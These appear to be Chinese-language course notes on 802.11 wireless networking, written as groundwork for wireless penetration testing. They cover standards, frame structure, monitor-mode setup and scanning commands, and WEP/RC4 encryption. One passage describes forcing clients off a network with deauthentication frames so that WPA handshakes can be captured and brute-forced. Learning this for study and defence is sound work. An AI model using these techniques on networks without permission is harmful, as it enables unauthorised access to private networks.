wireless_ultimate技术所得

-----------无线技术的特点

安全性不高

802.11标准

IEEE 国际电器电子工程师协会

由通信航天生物电器电子等方面的科学家组成

IEEE 分为不同的技术委员会 其中802委员负责LAN MAN(城愈往)标准的制定

802.1

802.2

802.3乙太网

802.6 MAN

802.11 Wireless LAN(WLAN)

-------------802.11 标准

802.11 属于数据链路层

802.11a

802.11b

802.11c

802.11d

802.11e

802.11F F为大写 表示此为正式的标准 (将之前的a,b,c,d,e 等等 修正而成的标准)

802.11T 同上 也是正式的标准

802.11mb

802.11ac

日常使用到的标准:

802.11

802.11a 54Mbit/s 5GHz

802.11b 5.5Mbin/s and 11 Mbit/s on 2.4GHz

802.11g 传输速率和802.11a 一样

802.11i 安全性增强方面

802.11n 高传输速率 (最常使用)

-------802.11历史 FHSS/DSSS

Legacy 使用红外线和电波传输

802.11b (称之为wifi)

802.11

发布于1997

速率 :1Mbps or 2 Mbps

频宽 :1MHz/20MHz

红外线传输介质(未实现)

无线射频信号编码(调製)

DSSS 直序扩频

FHSS 跳频扩频

无线频宽的使用 国家会管控 製造商 使产品在出厂时 做限制 使之无法调到军用频宽 民用设备目前只能在民用的频宽做使用

媒体访问方式 ----CSMA/CA规定传输信号之前 需要确定频宽是否有人在做使用 只有空閒状态才能作使用 防止传输时发生冲突

c(传输数据量) = b(无线频宽) + log2 (1 + s(信号强度)/n(噪声强度)=>性躁比)

(RTS/CTS) Request to Send/Clear to Send 当无线电波传输时 会发送RTS 传输完成后会发送CTS

---------------------802.11b (在802.11上改良) 5.5Mbit/s - 11Mbit/s 每秒传输多少二进制位

CCK 补偿代码建

速度变快

有14个重叠的信道 channels

频段:2.4-2.5 GHz

每个信道22MHz频宽

只有三个完全不重叠的信道

如果有两个无线路由器 信道有交集 20m以内 由以上理论可知两个路由器的信道会有冲突 造成信号损失 数据包丢失

--------------------802.11a 使用5GHz带宽

2.4GHz 带宽干扰源多(微波(加热时候会产生2.4GHz 明显干扰) , 蓝芽, 无绳电话)

5GHz 频率有更多带宽空间, 可容纳更多不重叠的信道(可保证每个规定的信道不重叠)

OFDM 信号调製方法 (正交频分復用技术) 利用效率会更高

最高速率 54Mbps 每个信道20MHz带宽

变频

5.15-5.35 GHz 室内

5.7-5.8 GHz 室外

-------------------802.11G 2.4-2.5 GHz

2.4GHz 频率

OFDM 信号调製方法

和802.11速度一样

需要所有网路设备可支持802.11G 就可以达到和802.11A 相同的速率

但只要有一个网路设备不支持 就会自动降速成为802.11b的信号传输 改为CCK信号调製方法

建立在802.11b 基础上开发

20MHz / 22MHz 频宽

-----------------------802.11N 2.4 or 5GHz

2.4或是5GHz 频率

300Mbps 最高600Mbps

(MIMO) 多进多出通信技术

多天线 多无线电波 独立收发信号

每个信道20/40MHz

和802.11G 运作模式相近

---------------无线网路运行模式

无线网路架构

  1. infrastructure (为一般家用WIFI)

    AP(无线路由器) 维护SSID

连入无线网路需要去识别名称 为SSID(WIFI 名)

AP 会定义SSID

也会在周围每10秒发送数据包 (Beacon) 侦 当周围设备接收到Beacon(通过无线电波传输) 信号 就可以从此数据包的侦识别出 无线名称SSID(wifi名称)

当客户端连接到无线网路(ap) 也会一定週期的向外宣告已经连接了SSID (所以可以通过侦听客户端来得知周围是否有隐藏的AP)

infrastructure

至少要包含一个AP 和一个 STATION (客户端, 终端) 形成一个BSS (基本服务集)

AP连接到有线网路再连接到客户端 这个组合 称为Distribution System (DS)

多个 AP 加上多个 STATION 连接到同一个DS  形成一个Extended Service Set (ESS) (扩展服务集)

如果多个AP之SSID 保持一致 且连接在同一个有线网路区域 变成DS 则会生成ESSID (每个AP的SSID皆相同)

BSSID 是终端设备连线到无线AP之网卡MAC地址

一个客户端连接到ap再连接到有线网路 称为DS***

所有BSS + 所有DS = ESS

2.Ad-Hoc

也被称为 independent Basic Service Set(IBSS)独立基本服务机

没有AP

至少要有2个STAs(STATION)直接通信组成

peer to peer 点到点模式

使用一个STATION 来充当AP的角色

	也需要定义SSID 透过BEACON广播之

	也需要对其他的STAs(客户端STATION)进行身分验证

3.Wireless Distribution System(WDS)

透过无线的方式来将AP和AP连接

AP 和 AP 之间可以再通过无线的方式 进行AP 和 AP之间的连接

1.bridging(桥接) ----只有AP彼此间通信 (皆要经过ap才能传输) 且只能转发到有线网路或是无线主机

2.Repeating ----------允许所有AP 和 STA(终端) 进行通信 (可以放大讯号)

没有DS 也可以组成ESS

----------------------MONITOR MODE

MONITOR 不是一种真正的无线模式 (类似于有线网路的溷杂模式)

  默认情况下 无线网卡 会自动筛选802.11包头数据包

  当使用WIFI连线时 抓包后的结果会发现找不到802.11包头 需要进入MONITOR MODE 才能抓到802.11包头内容

  在做无线攻击 或是 破解无线密码时 抓取802.11包头 是必要的 所有登入无线密码的登入内容 或是传输数据 一定是经过802.11包头进行传输

  适合的网卡和驱动不但可以MONITOR 更可以INJECTION

--------------------无线网路硬件设备和基本概念

通过各种渗透手段连入无线网路

选择的网卡 和外置天线 放大信号 发现更远距离的无线网路

可以购买扩展无线网卡

虚拟机机想要无线渗透 就必须外加无线网卡

dmesg -T 查看操作系统的硬件级别变化

可以直接将idVendor 和 idProduct 设备编号 输入虚拟机中 下次插入网卡后就可以直接映射到虚拟机

manufacturer : 晶片

iwconfig 用来查看无线网卡支持的802.11协议 MODE(代表着目前模式)

发送功率

接收灵敏性 适当即可

查看aircrack-ng 兼容列表

dB分贝 测量无限信号强度 --在无线通信领域 和 声学做使用

表示两个信号之间的差异比例 用于描述设备的信号强度 为一个相对值*** 因为是相对值 所以无法和dBm 进行计算


通常在谈到电学 物理 运动 等等功率 都会使用毫瓦来表示功率的单位

dbm 为功率值和1mW 进行相比 得出结果

dBpower(分贝功率(dBm)) = 10*log(signal 信号的毫瓦强度(功率值)/reference(一毫瓦))

10*log(100mW/1mW)=10.2=20DbM

结论 :
dBm 和1mW(毫瓦)相对

dB 为信号之间的相对值

dBm :绝对值

dB: 相对值

如: 假设信号为100毫瓦 则= log(100(mW)/1(mW)) * 10 =20dBm

每增加 3dBm 功率增加约一倍

每增加 10dBm 功率增加10倍

--------------------无线天线

dBi :全定向天线辐射强度

dBd :定向天线辐射强度

全向天线的信号功率增益

增益是指信号功率强度增加了多少dB

300mW的无限路由器 添加一个9dBi的天线后功率会如何变化(假设有2dBi 的功率损耗)

24.8 dBi + 9dBi - 2dBi = 31.8 dBi

全向天线在所有方向上收发信号 而定向天线在指定方向的范围内收发信号

天线增益越大信号传输距离越远

通常公司行号在部署ap时通常会加上一个定向天线 避免信号外洩

-------------------既然已经有 mW 和dBm 为什麽要使用 dB 单位呢

因为dBm 换算成 mW 往往会增加上千万倍 因此需要有dB 因为变化不会起伏过大

全像天线波形图

甜甜圈

天线选择的误区

扩大区域范围

如果功率增加 无线信号的发射范围会更大 能发现更多设备

同时也有缺点 会增大功耗对环境的信号进行干扰 (因为无线电波(信号)是有限资源)

信号过强会导致 国家正常通信设施的通信 因此各个国家都会对信号强度加以限制 

如果国家不加以限制 会导致每个人都可以建立伪造基地台

国家也会严格限制 调整功率频宽 因为有些频宽为军方使用 技术方面来说是可简单实现的

而且若dBi 若加装过高增益的无线天线 可能会导致 不均匀的分布情况 可能有些方向信号会变得十分微弱 有些方向更强

所以在选择天线时 适可而止即可

-------定向天线

定向发送信号

功率相同时比定向天线传输距离更远 (方向正确时)

双四边形

八木天线

平面天线

扇形天线(用于移动电话网路) 使用 3 到 4 个扇形天线联合使用 120度 90度

网状天线  射束带宽更加集中 功率更强

-----------------linux无线协议栈(软件相关)-------------------

linux 802.11 协议栈

分为 kernal 和 userspace

userspace 如 iwconfig 通过相应的协议接口 进入无线硬件驱动 来做配置

     wpa_supplicant 命令行等 大部分都是经过此 来对下层的接口 实现访问

安装网卡:

https://github.com/aircrack-ng/rtl8812au

ieee80211

iwconfig

iwlist

mac80211

iw(新增加的命令)

ifconfig (查看网卡相关参数 配置 和使用情况)

iwconfig

可查看此网卡支持的802.11 协议类型 如:a b g n ac 等 协议支持的类型很重要 若不支持某些协议 则无法连接依赖某协议的AP

ESSID: 为连接的SSID 

MODE:Managed (模式 可调成Moniter模式) 

Access Point:访问的ap Tx-Power=传输功率(dBm)

iw list 可详细查看无线网卡的配置 协议 以及 支持情况

可查看加密协议

接口模式 如: 是否能够做成AP模式 或是 monitor

支持的频带带宽

信号的调频方式 : DSSS/CCK

传输速率

信道资讯
	会显示信道处在的频段 和信道的数量 每个信道的带宽(MHz)

也会显示支持的功能 如:无线扫描等等

iwlist wlan2 frequency 查看信道的数量 和中间位置的带宽赫兹

---------------------扫描附近ap

iw dev wlan2 scan | grep SSID 更加准确的扫描完整ap资讯

每个bss都对应着一个无线ap

freq: 频段

beacon interval: 100 TUs 每一百毫秒发送一次beacon包

signal 接收信号强度 收到的dBm 为负值 (当无线电波在空气中传播时会使功率衰减 几万倍的功率变化 使传输的dBm 比1毫瓦还小 换算出的结果dBm 就为负值)因此我们可以知道 接收强度一定为负值

	只要值是在0到-50 之间就代表信号强度非常好(0为最大值)

	如果是-50 到 -75左右表示信号普通

	如果是-70 以下到-130以下 信号差或是不可达

last seen 最近收到的

SSID AP 名称

Supported rates 支持的速率

Authentication 支持的加密算法 预设共享密钥

iw dev wlan2 scan |grep SSID 查看所有SSID名称

iw dev wlan2 scan |egrep “DS\ Parameter\ set|SSID” 查看所有ap使用的信道

iwlist wlan2 scanning | egrep “ESSID|Channel” 可以查看 频率(频段)多少 信道 SSID 等

---------------------------添加删除侦听端口

service network-manager stop

ifconfig wlan2 up

iw dev wlan2 interface add wlan2mon(命名 强制要求取名为wlan 数字 mon) type monitor

ifconfig -a

iwconfig

会发现新增了一个虚拟网卡

且此新增加的网卡会变为monitor mode

ifconfig wlan2mon up

可以抓到802.11的包

当做完以上切换模式的工作后 我们会发现已经完全不是乙太网的包头结构了

基于一个无线网卡生成一个新接口 专门接收802.11包头的包

删除接口:

iw dev wlan2mon interface del

做无线相关的 抓包 侦听 注入等

需要完全关闭 service network-manager stop

将此命令添加到启动文件中

vim .bashrc

**************可以在课后了解无线协议栈

无线通信 是一种交互通信

任何一个机器 (AP , STATION) 只要发送数据包 moniter 都可以将之抓包

由于以上原因 每个人都可以透过侦听来抓包 因此目前会将无线数据包进行加密

会多层加密 保护无线通信的基本安全

---------------------802.11 数据包的 Radiotap头

不在802.11 包的标准

802.11发送和接收的事实标准

几乎所有无线通信 都会把802.11包头和数据部分统一加上Radiotap包头

802.11依赖Radiotap 完成通信过程

linux 系统在驱动和API中内建支持Radiotap

**802.11侦发送之前 如果网卡驱动在802.11添加radiotap包头 整个数据侦通过物理网卡 再通过无线电波的方式发出

**接收端接收到无线侦时 驱动程式会通知802.11 的mac层 此侦头包含radiotap包头 让mac层来解析 以及处理 radiotap包头裡面的内容 解析完成后 将radiotap包头去除掉 来分析裡面的802.11协议相关的包头

radiotap 包头内也可以为802.11侦传输额外的讯息 每个厂家要遵守radiotap 包头的协议 但同时也可自定义包头结构 因此每个厂家的包头长度不固定

radiotap 的标准 一定是保持一致的 所以 发送端 和 接收端 的 标准定义结构一定相同 否则就无法互相沟通 而厂家可以自行定义radiotap的包头内容 因此每个厂家的包头长度不固定

----------------------RADIOTAP 头

分为HEADER 和 DATA

-------------HEADER

HEADER REVISION :一个字节 始终都是零

HEADER PAD :佔位符 (没有意义 始终都是0)

HEADER LENGTH : 指的是整个Ratiotap包头的长度 顺便用来标记802.11的位置(目的是要告诉mac从哪裡开始解析802.11包)

present flags : 数据位的掩码 一段 为4字节 当中有很多段 

		而最后一段为exit 若exit为1 表示后面会再多出 32 位present flags 的内容

		只有第一个32位present flags 是标准定义 而exit 后面的都是厂家制定的 


当present flags的 exit为0 则后面不再是present flags 而是数据部分(radieotap 包头的数据部分)

而数据部分由present flags 的掩码决定

			第一位为TSFT (有两种可能 一种是接收到数据包的时间戳 单位(毫秒) ) 对应着 mac timetamp

				fcs at end 表示是否重传 加密 或是校验长度

				data rate :传输速率

				channel frequency 信道工作的频率

				channel type 信道类型 802.11b 下面会有具体使用cck的编码 或是 2GHz 的频段等

				SSI Signal 接收信号强度

				antenna 发出讯号的天线

-------------------802.11头部信息 (重点)

DU (Data Unit ) 即数据单元 ,信息传输的最小数据的集合 传一次最少是一个数据单元 传递过程逐层封装 而接收端逐层进行解封

SDU (Service Data Unit)上层要求下层为数据单元进行传输服务 (对下层而言) / PDU (Protocol Data Unit)对上层数据块而言

上层传给MAC层 —>MSDU(MAC的服务数据单元) ---->MIC(完整性检查) —>分侦(数据侦过大 需要分侦)---->添加IV(添加起始向量)—>加密—>(处理完后)添加MAC头部---->MPDU(MAC 层的协议数据单元)

MAC层将MSDU 添加MAC包头和包尾的FCS 生成MPDU称为协议数据单元 进行物理传输发送

MSDU/PSDU(物理服务数据单元) + 物理头 =PPDU(物理层的协议单元) ---->RF发射

关注mac头部

-------------Header(30个字节组成 分成七段)

1.frame control	(2字节 也就是16比特)

	1.protocol version (表示802.11协议版本 11 10 01 00(0,1,2,3) 实际上任何值都有可能) 2 bit 

	2.type (侦的类型 共有三种类型 第一种:管理侦(0) 第二种:控制侦(1) 第三种:数据侦(2))  2bit

	3.subtype  (每个类型对应多个子类型 协议规定不同类型/子类型的侦完成不同功能的操作) 4bit 表示有 2的4次方 种可能 

			如类型为0 (管理侦) 0000 (Association request 加入ap时发出请求) 0001 (Association response ap接收到请求响应) 0010 (Reassociation request 重关联) 0011(Reassociation reponse 重关联响应) 0100 (Probe request 探测请求) 0101 (Probe reponse探测回覆) 0110 (Timing Advertisement 时间广告)

				8000 (beacon (发送SSID 传输速度等AP资讯)) 

			如类型为1 0011(control wrapper) 1011(RTS) 1100(CTS) 1101(ACK)
	
	4.to DS(ap接的有线网路 统称为DS) (若为1表示从STATION 传到DS) 1bit

	5.From DS (从DS发出) 1 bit ****to ds 和 from ds 两者共有4种可能组合  				//DA=destination address RA=recipient address(接收端的AP) SA =source address TA=transmitter address

									00 (出现在IBSS(无ap)环境 可能是管理侦 或是 控制侦) address 1=DA 目标地址 address 2=SA 源地址 address3=BSSID AP地址 address 4=none  

									01 (表示data侦从ap向sta(station)传递) address 1=DA address 2=BSSID address3=SA address 4=none

									10 (表示data值从sta(station) 向ap传递) address 1=BSSID address 2=SA address3=DA address 4=none

									11 (表示两个ap间通信 为典型的无线WDS 或者表示Mesh(自动进行漫游)环境下多个AP间的通信) address 1=RA address 2=TA address3=DA address 4=SA 假设有两个STA 和 两个AP   STA AP AP STA 左方为SA 左AP为TA 右AP为RA 右STA为DA

									****只有当两位TO DS/ FROM DS 都是一的话 才会出现地址4()
	
	6. more frag-ments (表示是否还有后续侦 当值为1时表示有后续分段 可能是数据侦或是管理侦类型 只有单播地址会被分段) 1bit

	7. Retry (重传 值为1时表示重传侦 可能是数据侦或是管理侦 接收端进程使用此值防止侦重复 ) 1 bit  

	8.power Mgmt (活动模式(0)/省电模式(1)) (sta(station)处于省电模式时 向关联的AP 发送该值为1的侦(AP从不使用此字段 只有STA可以置为1) 在省电模式下STA不接收数据 (只接收AP发送的特定类型侦))

	9.more Data (当AP 缓存了一个MSDU 会向省电模式的STA发送该值为1的侦 表示有数据要发给STA 接受到此侦的STA 会唤醒自己并发送PS-POll(控制侦的其中一种子类型 type:1 ,subtype:10)侦 发给ap 并将ap缓存的内容取回 也被用于ap有更多的广播/多播的数据侦要进行传输)

	10.Protected frame (1bit) (可能为数据侦 或是 管理侦 表示MSDU是否被加密 也被用于表示PSK身分验证Frame 3侦 数据载荷为空时 该字段为0) 1bit

	11.order (在正常情况下永远为0 但有时会被置于1 表示数据必须按严格顺序处裡 (通常来说只有在做无线质量控制时才会将之置为一QOS))


2.Duration/ID 

	所有控制侦都会使用此字段 其作用随着Type/Subtype 的变化有所不同 

	通常来说如果是一般的控制侦 则会存放着 毫秒级的时间

	若存放的是PS POLL(TYPE:1 ,SUBTYPE:10)时 则表示会发送STA 关联的AID (AID为一开始STA和AP做通信时AP给STA发的一个AID 当STA处在省电模式时 AP会把传输给STA的数据存放之 之后唤醒STA STA唤醒自己并且发送一个PS-POLL给AP 其中此侦还包含了当初AP发给STA的AID 便于AP传给正确的STR)

	其他情况下 该字段作为一种载播侦听机制 表示接收下一侦之前需要保持的时间间隔 用于NAV(Network Allocation Vector)计算 单位是微秒

	(16bit/2字节)

3.Adress 1      4个地址都是一样的状态 共有四种地址 (DA SA TA BSSID) DA:Destination address ,SA:Source address ,BSSID :BSSID 就是AP的MAC地址 当AP支持多BSS时 随机生成每个BSSID(MAC地址层)

4.Adress 2

5.Adress 3

6.Sequence Control 给每段数据(被分侦的每一段数据)进行编号 防止丢包 

			分成两个子字段(Sequence Number(数据包第一次分侦的序号) 和 Fragment Number(为Sequence 再分侦的分段号))

			接收端会先看sequence number 若发现有多个数据包为同个序号 则看fragment number

			sequence number 是每个侦的编号 数值范围为0-4095 以1逐步增长 当侦被分段时 同一个侦中不同分队的sequence number 相同

			fragment number 是被分段的侦用于标示分段位置顺序的编号 数值范围为0-15 以1逐步增长
7.Adress 4

---------------------------------------DATA(MSDU) 紧跟802.11HEADER包头后面的数据段(不是一个固定值)--------------------------------

为加密的MSDU长度为2034字节 (其中包含最大256字节 和可被传递的数据2048字节) 不同的加密方法还会增加一定内容的长度

WEP : 8bytes --> 2312 bytes

TKIP(WPA1): 20bytes ------>2324 bytes

CCMP(WPA2):16 bytes -->2320 bytes

*****控制类型的侦 没有frame body 内容

-----------------------------------FCS 侦校验-------------------------

发送端队全部mac包和Frame Bodys 进行CRC计算 计算结果即为FCS值 将结果放入尾部(FCS)

接收端进行同样的计算(除了后四个字节 将前面的包进行CRC计算 得出的结果再和FCS做比对 来判断侦是否被窜改过)

FCS只针对单播 广播或是多播接收方不会验证之

抓包时 通常FCS会被过滤掉

----------------------------------控制侦(1) CONTROL FRAME(为包头HEADER内的Frame control内的类型)--------------------------

没有数据段******

子类型:

0000-0110 Reserved 保留位

0111 control Wrapper

1010 PS-POLL

1011 RTS

1100 CTS

1101 ACK

-------ACK

接收端正确接收数据之后 向发送端返回ACK确认

每个单播皆需要ACK立刻确认

广播和单播不需要ACK

***目前已经可以由硬件完成 不需要驱动层

控制侦(1)

ACK侦(1101)

----------PS-POLL (1010)

RF系统的放大器

	主要的耗电组件

	发射前放大信号 接收并放大还原信号

省电模式

	关闭信号发射器节省电池耗电(几乎完全关闭)

AID---Association ID

	STA省电模式唤醒


		概述:
			
			当进入省电模式时 当有另外一个STA要发数据给处在省电模式的STA时 会把数据侦发给AP再由AP发给STA

		详述:

			当STA进入省电模式时 会将POWER MAG 包发给AP 让AP知道自己处在省电模式 

			当有包要发给STA时 AP会利用BEACON侦将(TIM 其中包含AID)并将MORE DATA设为1 发给每个STA

			各个STA比对AID 确认AID和自己相同 就会接收这个包 唤醒自己 切换回活动模式

			STA 会发PS-POLL给AP 

			AP将第一个侦传给STA (若有更多侦会将MORE DATA 设为1)

			STA每接收到一个包之后 会发ACK确认给AP (AP收到后就会把缓存删除之)

		传输过程中STA为唤醒模式

		传输结束后恢復省电模式

---------------PS-POLL内部结构
AP接收PS-POLL侦

	立刻响应

	延迟响应(AP 收到PS-POLL之后 会发简单ACK给STA 等待延迟时间后 再开始发包)

		简单响应侦
	
	Frame Control  AID (Duration/ID) BSSID  TA FCS

	AID 关联ID (原本此位为Duration id (约定传输时间))

	BSSID STA正关联的AP

	TA 发送此侦的STA地址		

-----------RTS/CTS

RTS/CTS 是 CSMA/CA 方法的一种补充手段

	降低冲突产生的可能性(冲突对无线通信的性能影响非常大 所以在CSMA/CA的基础上再加上RTS/CTS)

	正式通信之前通过请求应答机制 确信通信介质的可用性

	RTS:请求传输服务

	CTS:接收到RTS后 确认自己为空閒状态 发出CTS包

	当发送端发送RTS 且已经接收到CTS时 接收端又收到其他STA发的RTS就会拒绝之

	RTS CTS只有在发比较大的数据时 才会启用RTS/CTS传输 短侦通常是不会启用的

		 驱动接口提供阀值的自定义

		大于阀值的侦被视为长侦 反之则视为短侦


	例子:

		Node1发送Request to Send 包给Node2

		如果未发生冲突 Node2返回Clear to Send包 给Node1

		Node1传输数据

RTS/CTS 和 CSMA/CA相比 最大差别为隐藏节点(只能知道目标方STA 无法得知其他STA的存在) 例子: 当STA1 和 STA2 进行通信 STA3无法和STA1直接通信 但是可以和STA2进行通信 而STA3在STA1 和 STA2 通信时 发包给STA2 会造成冲突 如果我们使用RST/CTS 当STA1 STA2 通信时 STA2也会顺便将CTS发给STA3 让STA3 知道STA1 STA2 正在进行传输 进而避免冲突

RTS数据侦结构:

		Frame Control   Duration   Receiver address    Transmitter Address   FCS

		当STA1 要发包给 STA2 时 STA1 会先发送RTS 给AP 再由AP转发给STA2 所以才会有一个Transmitter Adress 的地址出现 因为是由AP 发包

CTS数据包结构:

		Frame Control	Duration	Receiver Address(AP)	Fcs

当前其RTS/CTS 确认完毕后 就开始传输数据侦 目标和源地址就不再是AP 而是目标STA的网卡

而AP 接收到ACK

当Duration 为0 就变为空閒时间 可以再接收 RTS包

----------------------------管理侦(0)----------------------

Fram control 内的type为0

用于协商和控制STA 以及AP交互关係的侦类型

子类型:

	0 ----->Association Request (关联请求侦)

	1 ----->Association Response (关联响应侦) 

		只有建立关联之后才能使用无线通信 来上外网 (客户端会向ap发起 Assiciation Request  AP 收到请求后就会回发Association Response 做连接)

	2 ----->Re-association Request (关联时 被ap认为失去连线 但stu认为还在连线)

	3 ----->Re-association Request

	4 ----->Probe Request (探测请求 发现周围AP的存在 并且尝试连接之前连接过的AP)

	5 ----->Probe Request (探测回包)

	6------>Measurement Pilot

	7------>Reserved (保留位)

	8------>Beacon 

	9------>ATIM

	10----->Disassociation (解除关联)

	11----->Authentication (密码验证 有用户名加密码验证 或是共享密码验证)

	12----->Deauthentication (解除认证)

	....

--------------Beacon (8)

由AP进行广播发送 通告无线网路的存在(BSSID(AP的MAC地址)) 和(ESSID (无线网路名称))

发包频率

102.4ms (可变)

时间单位1024 microsecond(60秒)

SSID网路名称 (默认会自动发广播)

隐藏AP不发SSID广播

客户端需要手动配置 输入SSID 名称 输入共享密码 才能连接此无线网路 但还是有弱点是一种非常不完善的隐藏

--------Beacon 数据段内容

Timestamp: 时间戳

Beacon interval 默认每隔多少时间发送侦

Capabilities Information(能力)(2 bytes)

	1. ESS capabilities :表示从AP发出

	2.IBSS Status :表示从IBSS网路发出

	3.Privacy(机密) 表示支持哪种加密算法 如WEP/WPA加密 等等

	其他位基本为0

Tagged parameters

	Tag :SSID parameter set : 无线路由器(AP)名称

		Tag length: SSID 长度  (即使AP隐藏名称 使包不含SSID名称 包长度还是无法隐藏 只要有后续的STA和AP进行通讯 即使包内不含有SSID 也不发广播 只要有后续的通信 (因为无线网路都是基于广播传输) 任何人发包都可以抓下来)

		SSID: SSID名称

	Supported Rates: 显示标准工作速率 (基本可以判断是位于哪种802.11标准上 常用 b a n g ac ax) 有些厂家可以自订速率

	Tag: DS Parameter set : Current channel : 信道数量 内有详细频宽

	Tag : Traffic Indication Map (TIM) (用来通知唤醒STA)
	
	Tag: Vendor Sqecific :使用的网卡

以上不是每个字段都会被显示 不同的厂家会实现不同的字段 有些是规定字段 有些是可选字段

---------------------PROBE REQUEST FRAME(4)

用于扫描附近AP

分成两种类型

	发现未连接的AP (广播询问周围的AP)

	发现已经连线过的AP (会定期自动寻找指定目标AP)

	包头结构大致一样

	数据部分 

		SSID

		Supported Rates (支持速率)

		Extented Supported Rates (扩展速率)

---------------------PROBE RESPONSE FRAMES(5)

发现连接过的AP时 就会发REQUEST包 

*******只要REQUEST包裡面的速率和ESSID完全相同 AP就会响应

只要裡面有一个不同 AP就不会响应

-------------------Authitication Frame(11)

STA 通过Probe request 包 发现周围有之前连过的AP 存在

第一步需要先进行身分验证的信息(共享密码 或是用户名密码)

AP接受身分验证 才能进行关联

数据结构 :

	1.Authentication Algorithm 身分验证类型 (0:开放系统身分验证 , 1:共享密钥身分验证)

	身分认证有很多个侦交换过程组成

	2.Authentication Seq (序列号)每次身分验证过程发送唯一的Seq num (1-65535 (2个字节 2的16次方种组合))

	3.Status Code : 成功/失败
		
	4.Challenge text 只有共享密钥方式才有此字段

--------------------ASSOCIATION/REASSOCIATION FRAMES (0,1,2,3)

身分验证成功后 STA执行关联操作 加入无线网路

Association Request

Reassociation Request

Association Response 每行都多出一个 status code :sucessful 和 AID(Association ID)

Association Request 数据段



Reassociation Request 数据段 和Association Request差不多 只是多了一段源地址字段

	Capability information

	Listen interval 时间週期

	Source Address

	SSID

	Supported rates		

--------------------------DISASSOCIATION/DEAUTHENTICATION

由AP发出 (2 Bytes)

数据段:

	Reason Code 内容很多 不需要去了解所有可能性 只需要了解安全相关

			2 客户端建立关联 但没有进行身分验证

			3 (Deauthentication Leaving 设备离开通信范围) 断开跟STA的身分验证	 所以就需要重新建立身分验证的过程 可用来实现对WPA攻击的过程 (黑客可以透过发此包 给客户端 让客户端断开连接 当客户端重新发包后 即可撷取内部资料 做暴力破解)

			4 客户端会话超时

			5 AP 连太多STA

			7 没关联 也没通过身分验证 就直接传输数据

			8 STA已经离开

-----------------------ATIM FRAMES

只在 ad-hoc 网路下使用 (就是Ad-Hoc 版本的唤醒STA) 较少碰到

STA 使用此侦通知接收者 其有缓存的数据要发送

-----------------------Data Frame(2)数据侦---------------------------

子类型:

	Data Frame 传输用户数据 0000

		(802.11 的DHCP省略discovery 和 offer 过程!)

	Null Data Frame 空数据侦 0100

		只包含MAC头 和 FCS

		****STA 用于声明自己将要进入省电模式

-------------------------无线通信过程-----------------------

完整实际传输过程:

一个STA要连接AP时 需要发送Probe Request

AP 接收到Probe Request 则发送Probe Reponse

STA 接收到Probe Reponse 后 发送 Authentication request

两人互相校验 加密传输认证等等 (Authentication Process)

验证完成后 AP发送Authentication Reponse

STA则发送 Association Request

AP 确认无误后则发送Association reponse

Probe

STA 向所有信道发送Probe侦(向无线网卡支持的所有信道发送) 并且发现AP

-----------------------WEP探测过程

Beacon 标示 可以识别是否使用WEP加密

STA 发送标准的Probe Request侦 (未被加密)

AP响应Probe Reqonse侦 声明需要採用WEP加密

-----------------------WPA探测过程

Beacon 标示 也可以识别是否使用WEP加密(在最后一行的WAP可得知)

STR 发出的Probe Request还是一样使用标准侦

AP响应的 Probe Reponse侦 也声明需要採用WEP加密

包头也都包含WPA1信息

------------------------WEP OPEN认证过程(只加密数据流量)

WEP OPEN认证和OPEN认证认证 通信过程相同

正确认证后通信数据被WEP加密

如果认证时 客户端密码输入错误

认证还是可以通过

AP将丢弃该STA的数据包

	起始向量被错误的密钥误导 且解密后 完整性会被破坏

	数据传输将失败

------------------------WEP PSK 认证过程 (使用共享密钥且使用WEP加密)

STA发送请求(ASSOCIATION request)

每次建立身分验证后(Authentication)

AP都会返回随机Challenge text 明文消息(128字节的随机数)

STA 有一个随机值发过来之后 使用密文(共享密钥+iv)形成的密文 将随机值通过加密算法加密 (所以共享密钥不会在网路中被传输 因为是直接利用密文(共享密钥+iv) 来加密接收到的随机数(Challenge text))

AP收到后会利用 共享密钥 解密 且和Challenge值进行比对

比对成功则身分验证成功

*****大部分无线网卡驱动 会首先使用open的方式来做验证 如果失败才会尝试PSK

*****当Probe reqonse 发送给客户端 而客户端给AP一个ACK包(有时不会) 客户端还会传(Authentication 包) 来做身分验证 最后双方交互 方能成功关联 (不论需不需要身分验证皆须经过此过程)

----------------------------------WEP 共享密钥认证过程

无论使用甚麽加密架构 关联过程完全相同

STA 向AP发送关联请求

AP向STA发送关联成功或失败结果

隐藏AP

STA关联包 必须包含目标AP 的ESSID

嗅探到此关联包 说明有隐藏AP的存在

-------------------------加密过程

无线安全根源

802.11基于无线电波发射信息

嗅探侦听是主要问题

加密机制是必须手段

Wired Equivalent Privacy(WEP)

802.11标准的一部分

发布后不久发现存在安全漏洞

Wi-fi Protected Access (WPA) 取代WEP

WPA2(802.11 标准)

----------------------完全open 无加密网路

无任何加密机制

所有数据都可以被嗅探

STA 和 AP

----------------WEP 加密过程

使用Rivest Cipher 4(RC4)对称加密算法 来加密流量内容 实现机密性

CRC32算法检查数据完整性

标准採用24位IV值(initialization vector)

密码加上iv值构成加密用的key

基于美国加密技术出口限制法律

高于64bit key 禁止出口

所以除24bit IV之外真实的key 只有40bit的版本被允许出口

出口限制法律撤销后实现了128bit key 的 WEP版本 (使用相同的24bit IV)

------------------RC4算法 对称性加密算法

加密和解密是一样的密钥

**实现简单

**速度快

加密: 对明文数据流 和 密钥流 进行XOR(异或运算)计算

解密: 对密文数据流 和 密钥流 进行XOR计算

RC4算法key由两个过程生成

合併IV(随机数)和PSK(共享密钥)合成一个字符串 利用Key Scheduling Algorithm(KSA)算法生成起始状态表

Pseudo-Random Generation Algorithm(PRGA)算法生成最终密钥流

-----------------实际RC4算法加密过程
密钥流生成部分:

首先生成 IV值(随机数24位) 和 Key值(共享密钥) 结合之

通过KSA算法生成 初始状态表 再通过 PRGA 生成 密钥流

而密钥流必须和数据流长度一致

数据流生成部分:

会对数据流进行CRC32摘要计算 生成32 bytes摘要值(ICV)(用来验证完整性)

这两个值(明文的消息值 和 32bytes的校验值)做结合

形成数据流

数据流长度需合密钥流长度一致 

通过异或(XOR)运算方式一位一位算出来

生成密文消息

新数据包:

生成一个密文消息 放入新数据包 

也会将IV 放入新数据包

KEY ID: 要传的数据 和 要传的密钥流 必须相等 两个数据很大 必须进行拆包 相同的位数拆成一个包 整个密钥流的每一段分给一个 ID    

	KEY ID 就是当前数据对应的密钥流ID号 有了ID号接收端就可以透过相同的算法把密钥流还原 每个段数据对应的密钥值 的具体值 接收端可以把它算出来

ICV也会 放入新数据包

完整的数据部分:

IV	KEY ID(用来分辨每一段数据对应的密钥流)	Encryptled Message(生成的密文信息)	ICV(ICV算出来的数据包)

KEY ID 到接收端 可用相同算法提取密钥流

